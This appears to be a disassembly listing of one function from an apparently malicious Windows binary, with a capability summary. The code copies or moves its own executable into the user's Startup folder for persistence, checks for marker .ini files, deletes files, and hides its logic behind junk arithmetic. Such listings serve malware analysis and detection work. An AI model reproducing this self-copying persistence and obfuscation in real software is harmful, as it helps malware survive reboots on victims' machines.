Function at 0x40dde0
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x310
mov eax, dword [0x45f640]
xor eax, esp
push ebx
mov dword [esp + 0x310], eax
mov eax, dword [0x45dbd0]
push ebp
push esi
cdq
push edi
mov esi, eax
mov eax, dword [0x45dbe4]
push 2
mov edi, edx
cdq
push 0x1b912b5c
mov ebx, eax
push edx
push ebx
mov dword [esp + 0x28], edx
call fcn.004305f0
mov dword [esp + 0x10], eax
mov eax, 0x1f64bb9f
mul dword [0x45dbcc]
mov eax, dword [esp + 0x10]
push 2
push 0xbeb5aaf
shr edx, 0x1c
push edi
sub eax, edx
push esi
mov dword [esp + 0x20], eax
call fcn.004305f0
mov ecx, dword [esp + 0x10]
mov ebp, dword [0x45dbc4]
add ecx, eax
mov eax, dword [0x45dbc8]
imul eax, eax, 0x3903276d
mov edx, ebp
imul edx, edx, 0x7672ee00
sub ecx, eax
mov eax, dword [0x45dbcc]
add ecx, edx
mov edx, eax
imul edx, edx, 0x74f4f79a
push 2
add ecx, edx
cdq
push 0x1b912b5c
push edx
push eax
mov dword [0x45dbdc], ecx
call fcn.004305f0
mov ecx, dword [esp + 0x18]
push 2
push 0xbeb5aaf
push ecx
push ebx
mov dword [esp + 0x20], eax
call fcn.004305f0
mov ecx, dword [esp + 0x10]
push 1
push 0xba7a7bcd
push edi
sub ecx, eax
push esi
mov dword [esp + 0x20], ecx
call fcn.004305f0
mov ecx, dword [esp + 0x10]
sub ecx, eax
mov eax, 0x9a168f41
mul ebp
mov eax, dword [0x45dbd4]
shr edx, 0x1f
imul eax, eax, 0x7114fe22
add ecx, edx
mov edx, dword [0x45dbd8]
imul edx, edx, 0x1b912b5c
sub ecx, edx
add ecx, eax
mov dword [0x45dbe4], ecx
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
call fcn.00430a3d
add esp, 8
cmp eax, 0xffffffff
je 0x40e3a1
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.00430a3d
add esp, 8
cmp eax, 0xffffffff
je 0x40e3a1
mov eax, dword [0x45dbdc]
push 1
cdq
push 0xc6fcd893
push edx
push eax
call fcn.004305f0
mov esi, dword [0x45dbe0]
mov ecx, dword [0x45dbd0]
mov edi, eax
mov eax, 0x1f64bb9f
mul esi
imul esi, esi, 0x3053d3f1
shr edx, 0x1c
sub edi, edx
mov eax, 0x2d0ae8c5
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 0x1f
add edi, ecx
mov ecx, dword [0x45dbd8]
imul ecx, ecx, 0x7672ee00
add edi, esi
add edi, ecx
mov ecx, dword [0x45dbe4]
mov eax, 0x45291d0f
imul ecx
sar edx, 0x1d
mov eax, edx
push 0x104
lea ecx, [esp + 0x220]
shr eax, 0x1f
add edi, edx
push ecx
add eax, edi
push 0
mov dword [0x45dbc8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x21c]
push 0x5c
push edx
call fcn.004314a0
mov edi, eax
push str..exe
lea eax, [esp + 0x228]
push eax
lea ecx, [esp + 0x2c]
push str._s_s
push ecx
inc edi
call fcn.0043069a
mov esi, dword [0x45dbe8]
add esp, 0x18
push 2
mov eax, esi
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
imul esi, esi, 0x1531b042
mov ebx, dword [0x45dbc4]
mov ecx, dword [0x45dbd8]
imul ebx, ebx, 0xf414a551
sub ebx, eax
mov eax, 0x9a168f41
mul dword [0x45dbd0]
shr edx, 0x1f
sub ebx, edx
mov eax, 0x45291d0f
imul ecx
mov ecx, dword [0x45dbe4]
sar edx, 0x1d
sub ebx, esi
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
imul ecx, ecx, 0x7d86eec7
mov edx, dword [0x45dbe0]
push 0
sub eax, ecx
push 0x18
lea ecx, [esp + 0x124]
push ecx
lea eax, [eax + edx - 0x7672ee00]
push 0
mov dword [0x45dbd0], eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x11c]
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40e070
sub eax, ecx
push edi
lea edx, [esp + eax + 0x120]
push 0x44e274
push edx
call fcn.0043069a
mov eax, dword [0x45dbe0]
add esp, 0xc
push 1
cdq
push 0x388a7f11
push edx
push eax
call fcn.004305f0
mov edi, dword [0x45dbc8]
mov esi, eax
push 2
mov eax, edi
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
sub esi, eax
mov eax, dword [0x45dbc4]
push 1
cdq
push 0xeace4fbe
push edx
push eax
call fcn.004305f0
mov ecx, dword [0x45dbe8]
mov ebx, dword [0x45dbcc]
add esi, eax
mov eax, 0x2d0ae8c5
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
mov edx, ebx
imul edx, edx, 0x388a7f11
shr eax, 0x1f
add esi, eax
sub esi, edx
mov eax, edi
imul eax, eax, 0x1b912b5c
mov edx, ecx
imul edx, edx, 0x7672ee00
add esi, eax
sub esi, edx
mov dword [0x45dbd8], esi
xor ebp, ebp
jmp 0x40e134
mov edi, dword [0x45dbc8]
mov ebx, dword [0x45dbcc]
mov esi, dword [0x45dbd8]
mov ecx, dword [0x45dbe8]
push 1
mov eax, ecx
cdq
push 0xba7a7bcd
push edx
push eax
call fcn.004305f0
imul edi, edi, 0x1531b042
imul esi, esi, 0x3903276d
mov ecx, dword [0x45dbd0]
imul ebx, ebx, 0x7672ee00
mov edx, dword [0x45dbd4]
sub edx, ecx
imul edx, edx, 0x2b57abfe
add eax, edx
mov dword [esp + 0x10], eax
mov eax, 0x9a168f41
mul ecx
mov eax, dword [esp + 0x10]
shr edx, 0x1f
sub eax, edx
sub eax, edi
sub eax, esi
sub eax, ebx
mov dword [0x45dbe0], eax
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.00430a3d
add esp, 8
cmp eax, 0xffffffff
je 0x40e1b5
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
inc ebp
cmp ebp, 0x64
jl 0x40e11c
mov eax, dword [0x45dbdc]
push 1
cdq
push 0x388a7f11
push edx
push eax
call fcn.004305f0
mov esi, eax
mov eax, dword [0x45dbc8]
push 2
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
mov edi, eax
sub edi, esi
mov esi, dword [0x45dbd8]
push 1
mov eax, esi
cdq
push 0xc6fcd893
push edx
push eax
call fcn.004305f0
mov ecx, dword [0x45dbd0]
sub edi, eax
imul ecx, ecx, 0x264da184
mov eax, dword [0x45dbd4]
mov edx, esi
imul eax, eax, 0x7672ee00
imul edx, edx, 0xabc7628
sub edi, edx
sub edi, eax
sub edi, ecx
mov dword [0x45dbe8], edi
mov edi, dword [esp + 0x324]
test edi, edi
je 0x40e23b
cmp edi, 2
jne 0x40e2f3
mov ebx, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea edx, [esp + 0x120]
push edx
lea eax, [esp + 0x24]
push eax
call ebx
test eax, eax
jne 0x40e2ed
mov eax, dword [0x45dbd4]
cdq
mov esi, eax
mov eax, dword [0x45dbd8]
push 2
mov edi, edx
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov ebp, eax
mov eax, dword [0x45dbcc]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
push 1
push 0xba7a7bcd
push edi
push esi
add ebp, eax
call fcn.004305f0
push 2
push 0x1b912b5c
push edi
push esi
sub ebp, eax
call fcn.004305f0
mov ecx, dword [0x45dbdc]
mov edx, dword [0x45dbe0]
imul ecx, ecx, 0x6d4760f7
imul edx, edx, 0x264da184
add ebp, eax
push 6
add ebp, ecx
lea eax, [esp + 0x120]
push eax
lea ecx, [esp + 0x24]
add ebp, edx
push ecx
mov dword [0x45dbc4], ebp
call ebx
mov eax, 0xfffffffe
jmp 0x40e3a4
mov esi, dword [0x45dbd8]
push 2
mov eax, esi
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov esi, eax
mov eax, dword [0x45dbc8]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov ebx, eax
mov eax, dword [0x45dbe0]
push 1
cdq
push 0xba7a7bcd
push edx
push eax
sub ebx, esi
call fcn.004305f0
add ebx, eax
mov eax, 0x1f64bb9f
mul dword [0x45dbd0]
shr edx, 0x1c
sub ebx, edx
mov eax, 0x9a168f41
mul dword [0x45dbdc]
shr edx, 0x1f
add ebx, edx
mov edx, dword [0x45dbc4]
imul edx, edx, 0x1531b042
sub ebx, edx
mov eax, 0x45291d0f
imul dword [0x45dbd4]
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
cmp edi, 1
mov dword [0x45dbcc], eax
je 0x40e388
cmp edi, 2
jne 0x40e39d
push 0
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x40e3a4
or eax, 0xffffffff
mov ecx, dword [esp + 0x31c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0043040d
add esp, 0x310
ret